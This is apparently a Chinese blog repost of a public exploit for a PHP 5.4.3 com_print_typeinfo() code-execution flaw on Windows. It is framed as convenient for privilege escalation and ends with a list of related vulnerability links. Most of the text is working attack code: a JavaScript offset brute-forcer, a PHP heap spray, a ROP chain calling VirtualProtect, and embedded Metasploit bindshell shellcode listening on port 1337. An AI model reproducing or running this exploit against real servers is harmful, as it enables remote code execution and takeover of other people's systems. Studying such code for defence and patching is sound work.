PHP com_print_typeinfo()的漏洞,通过PHP代码调用”exec”可运行SHELL命令

用这个提权是不是很方便了?

// Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32)

// Exploit author: 0in (Maksymilian Motyl)

// Email: 0in(dot)email(at)gmail.com

// * Bug with Variant type parsing originally discovered by Condis

// Tested on Windows XP SP3 fully patched (Polish)

===================

offset-brute.html

===================

0day

PHP 5.4.3 0day by 0in & cOndis

function sleep(milliseconds) {

var start = new Date().getTime();

for (var i = 0; i < 1e7; i++) {

if ((new Date().getTime() – start) > milliseconds){

break;

}

}

}

function makeRequest(url, parameters)

{

var xmlhttp = new XMLHttpRequest();

if (window.XMLHttpRequest) {

xmlhttp = new XMLHttpRequest();

if (xmlhttp.overrideMimeType) {

xmlhttp.overrideMimeType(‘text/xml’);

}

} else if (window.ActiveXObject) {

// IE

try { xmlhttp = new ActiveXObject(“Msxml2.XMLHTTP”); }

catch (e) {

try { xmlhttp = new ActiveXObject(“Microsoft.XMLHTTP”); }

catch (e) {}

}

}

if (!xmlhttp) {

alert(‘Giving up

Cannot create an XMLHTTP instance’);

return false;

}

xmlhttp.open(“GET”,url,true);

xmlhttp.send(null);

return true;

}

test=document.getElementById(“log”);

for(offset=0;offset<300;offset++)

{

log.value+=”Trying offset:”+offset+”\r\n”;

makeRequest(“0day.php?offset=”+offset);

sleep(500);

}

===================

0day.php

===================

$spray = str_repeat(“\x90″,0×200);

$offset=$_GET['offset'];

// 775DF0Da # ADD ESP,10 # RETN ** [ole32.dll]

$spray = substr_replace($spray, “\xda\xf0\x5d\x77″, (strlen($spray))*-1,(strlen($spray))*-1);

// :> 0x048d0030

$spray = substr_replace($spray, pack(“L”,0x048d0030+$offset), (strlen($spray)-0×8)*-1,(strlen($spray))*-1);

//0x7752ae9f (RVA : 0x0005ae7f) : # XCHG EAX,ESP # MOV ECX,468B0000 # OR AL,3 # RETN [ole32.dll]

$spray = substr_replace($spray, “\x9f\xae\x52\x77″, (strlen($spray)-0×10)*-1,(strlen($spray))*-1);

// Adress of VirtualProtect 0x7c801ad4

$spray = substr_replace($spray, “\xd4\x1a\x80\x7c”, (strlen($spray)-0×14)*-1,(strlen($spray))*-1);

// LPVOID lpAddress = 0x048d0060

$spray = substr_replace($spray, pack(“L”,0x048d0060+$offset), (strlen($spray)-0x1c)*-1,(strlen($spray))*-1);

// SIZE_T dwSize = 0×01000000

$spray = substr_replace($spray, “\x00\x00\x10\x00″, (strlen($spray)-0×20)*-1,(strlen($spray))*-1);

// DWORD flNewProtect = PAGE_EXECUTE_READWRITE (0×00000040) | 0xffffffc0

$spray = substr_replace($spray, “\x40\x00\x00\x00″, (strlen($spray)-0×24)*-1,(strlen($spray))*-1);

// __out PDWORD lpflOldProtect = 0×04300070 | 0×105240000

// 0x048d0068

$spray = substr_replace($spray, pack(“L”,0x048d0068+$offset), (strlen($spray)-0×28)*-1,(strlen($spray))*-1);

//0x77dfe8b4 : # XOR EAX,EAX # ADD ESP,18 # INC EAX # POP EBP # RETN 0C ** [ADVAPI32.dll]

$spray = substr_replace($spray, “\xb4\xe8\xdf\x77″, (strlen($spray)-0×18)*-1,4);

// Ret Address = 0x048d0080

$spray = substr_replace($spray, pack(“L”,0x048d0080+$offset), (strlen($spray)-0×48)*-1,4);

$stacktrack = “\xbc\x0c\xb0\xc0\x00″;

// Universal win32 bindshell on port 1337 from metasploit

$shellcode = $stacktrack.”\x33\xc9\x83\xe9\xb0″.

“\x81\xc4\xd0\xfd\xff\xff”.

“\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1d”.

“\xcc\x32\x69\x83\xeb\xfc\xe2\xf4\xe1\xa6\xd9\x24\xf5\x35\xcd\x96″.

“\xe2\xac\xb9\x05\x39\xe8\xb9\x2c\x21\x47\x4e\x6c\x65\xcd\xdd\xe2″.

“\x52\xd4\xb9\x36\x3d\xcd\xd9\x20\x96\xf8\xb9\x68\xf3\xfd\xf2\xf0″.

“\xb1\x48\xf2\x1d\x1a\x0d\xf8\x64\x1c\x0e\xd9\x9d\x26\x98\x16\x41″.

“\x68\x29\xb9\x36\x39\xcd\xd9\x0f\x96\xc0\x79\xe2\x42\xd0\x33\x82″.

“\x1e\xe0\xb9\xe0\x71\xe8\x2e\x08\xde\xfd\xe9\x0d\x96\x8f\x02\xe2″.

“\x5d\xc0\xb9\x19\x01\x61\xb9\x29\x15\x92\x5a\xe7\x53\xc2\xde\x39″.

“\xe2\x1a\x54\x3a\x7b\xa4\x01\x5b\x75\xbb\x41\x5b\x42\x98\xcd\xb9″.

“\x75\x07\xdf\x95\x26\x9c\xcd\xbf\x42\x45\xd7\x0f\x9c\x21\x3a\x6b”.

“\x48\xa6\x30\x96\xcd\xa4\xeb\x60\xe8\x61\x65\x96\xcb\x9f\x61\x3a”.

“\x4e\x9f\x71\x3a\x5e\x9f\xcd\xb9\x7b\xa4\x37\x50\x7b\x9f\xbb\x88″.

“\x88\xa4\x96\x73\x6d\x0b\x65\x96\xcb\xa6\x22\x38\x48\x33\xe2\x01″.

“\xb9\x61\x1c\x80\x4a\x33\xe4\x3a\x48\x33\xe2\x01\xf8\x85\xb4\x20″.

“\x4a\x33\xe4\x39\x49\x98\x67\x96\xcd\x5f\x5a\x8e\x64\x0a\x4b\x3e”.

“\xe2\x1a\x67\x96\xcd\xaa\x58\x0d\x7b\xa4\x51\x04\x94\x29\x58\x39″.

“\x44\xe5\xfe\xe0\xfa\xa6\x76\xe0\xff\xfd\xf2\x9a\xb7\x32\x70\x44″.

“\xe3\x8e\x1e\xfa\x90\xb6\x0a\xc2\xb6\x67\x5a\x1b\xe3\x7f\x24\x96″.

“\x68\x88\xcd\xbf\x46\x9b\x60\x38\x4c\x9d\x58\x68\x4c\x9d\x67\x38″.

“\xe2\x1c\x5a\xc4\xc4\xc9\xfc\x3a\xe2\x1a\x58\x96\xe2\xfb\xcd\xb9″.

“\x96\x9b\xce\xea\xd9\xa8\xcd\xbf\x4f\x33\xe2\x01\xf2\x02\xd2\x09″.

“\x4e\x33\xe4\x96\xcd\xcc\x32\x69″;

$spray = substr_replace($spray,$shellcode, (strlen($spray)-0×50)*-1,(strlen($shellcode)));

$fullspray=”";

for($i=0;$i<0x4b00;$i++)

{

$fullspray.=$spray;

}

$j=array();

$e=array();

$b=array();

$a=array();

$c=array();

array_push($j,$fullspray);

array_push($e,$fullspray.”W”);

array_push($b,$fullspray.”A”);

array_push($a,$fullspray.”S”);

array_push($c,$fullspray.”!”);

$vVar = new VARIANT(0x048d0038+$offset);

// Shoot him

com_print_typeinfo($vVar); //CRASH -> 102F3986 FF50 10 CALL DWORD PTR DS:[EAX+10]

echo $arr;

echo $spray;

?>

标签:

php5.4漏洞解决,php5.4.3的远程代码执行漏洞,提权挺管用相关推荐

  1. rmi远程代码执行漏洞_微软 Windows DNS Server 远程代码执行漏洞

    安全预警 漏洞:微软 Windows DNS Server 远程代码执行漏洞漏洞编号:CVE-2020-1350威胁程度:高影响范围: Windows Server 2008 for 32-bit S ...

  2. 【漏洞通告】微软SMBv3协议远程代码执行漏洞(CVE-2020-0796)PoC公开处置手册

    [漏洞通告]微软SMBv3协议远程代码执行漏洞(CVE-2020-0796)PoC公开处置手册 原创 威胁对抗能力部 [绿盟科技安全情报](javascript:void(0)

  3. php代码执行漏洞,预警!!!PHP 远程代码执行漏洞

    一.前言 2019年10月22日,在github上公开了一个关于PHP的远程代码执行漏洞. 斗象智能安全CRS产品已全面支持该漏洞的检测与验证,用户可直接登陆www.riskivy.com 进行验证. ...

  4. oracle11g远程命令执行漏洞,「漏洞通告」WebLogic多个远程代码执行漏洞

    一.漏洞概述 京时间4月15日,Oracle官方发布了2020年4月关键补丁更新公告CPU(Critical Patch Update),修复了397个不同程度的漏洞.其中包括三个针对Weblogic ...

  5. 「安全狗漏洞通告」Fortinet SSL VPN远程代码执行漏洞解决方案

    安全狗应急响应中心监测到,Fortinet发布了FortiOS SSL-VPN的风险通告,漏洞等级:高危,漏洞评分:9.3.漏洞编号:CVE-2022-42475. 安全狗应急响应中心建议广大用户做好 ...

  6. 漏洞复现----37、Apache Unomi 远程代码执行漏洞 (CVE-2020-13942)

    文章目录 一.Apache Unomi简介 二.CVE-2020-11975漏洞 2.1.CVE-2020-11975漏洞代码 2.2.CVE-2020-11975漏洞修复代码 三.CVE-2020- ...

  7. 【漏洞复现】Microsoft Office MSDT 远程代码执行漏洞 (CVE-2022-30190)

    0x01 Microsoft Office Microsoft Office是由Microsoft(微软)公司开发的一套办公软件套装.常用组件有 Word.Excel.PowerPoint等. 0x0 ...

  8. commons-pool2-2.3 jar包_[漏洞复现]FastJson 1.2.61远程代码执行漏洞(From第三方jar包)

    前言 最近FastJson更新了黑名单,升级到了1.2.61版本,我尝试bypass其黑名单,在AutType打开的情况下成功绕过了黑名单防护.(目前暂未修复,官方即将更新) 复现环境准备 1.JDK ...

  9. Windows远程代码执行漏洞(CVE-2020-16898) 高危漏洞加固指南

    漏洞信息 序号 漏洞类型 风险等级 漏洞主机( 操作系统及版本) 1 Windows TCP/IP远程代码执行漏洞(CVE-2020-16898) 高 Windows 漏洞加固实施 漏洞1:Windo ...

  10. js word 预览_微软补丁日:Word/DHCP/LNK远程代码执行漏洞预警

    漏洞背景 2019年8月14日微软发布的安全更新中除了RDP漏洞还涵盖了针对多个远程代码执行高危漏洞的修复. Microsoft Word远程代码执行漏洞, 漏洞编号CVE-2019-0585. Wi ...

最新文章

  1. 2018 ACM-ICPC Asia Shenyang Regional Contest 题解(9 / 13)【每日亿题2021/2/24】
  2. 一致性hash算法_分布式寻址算法
  3. javacc的源码构建
  4. 探索Android中的Parcel机制(上) .
  5. PMCAFF微课堂 | 积木盒子产品总监 杨帆:互联网金融撮合交易的本质
  6. C语言运算符优先级 详细列表
  7. 机器学习实战 梯度上升 数学推导_机器学习全路线经典书籍
  8. 又涨啦!2021年6月程序员工资出炉
  9. 自动划分-------训练集+验证集+测试集(code,自己设置比例)
  10. 从inceptionv1走向xception小结
  11. 电脑用电量_诡异!北山一空置房子用电量噌噌上涨,工作人员打开门一看……_媒体_澎湃新闻...
  12. 嵌入式软件工程师岗位笔试、面试题(1)
  13. js实现地图四级联动
  14. xor命令,运算优先级,Matlab计算规则(从左至右),舍入误差,取整函数、求余函数和符号函数,mod和rem的区别
  15. Element-UI组件实现全局回到顶部功能
  16. java deflate解压_Java解压缩用zlib deflate压缩的字符串
  17. Google 人机验证(reCaptcha)无法显示解决方案
  18. python是什么语言编写的程序称为_Python 学习(一)【Python语言简介-Python是什么】...
  19. 金蝶苍穹,报表查询插件
  20. python控制手机

热门文章

  1. 慎用ArrayList的contains方法,使用HashSet的contains方法代替
  2. 边栏实现过程中,导入style.css没用
  3. 数据库笔记09:Transact-SQL语言编程基础
  4. C ++ 数组 | 多维数组(MultiDimensional Arrays)_2
  5. 用php判断大月小月,php 获取月第一天和最后一天 | 学步园
  6. python基础案例教程_Python基础教程 两个经典案例:阶乘和幂
  7. android获取程序名称,Android获取应用程序名称(ApplicationName)示例
  8. 公网ip和私网ip的区别_自带公网IP上阿里云
  9. Mosquitto安装及使用简介
  10. epoll示例程序——客户端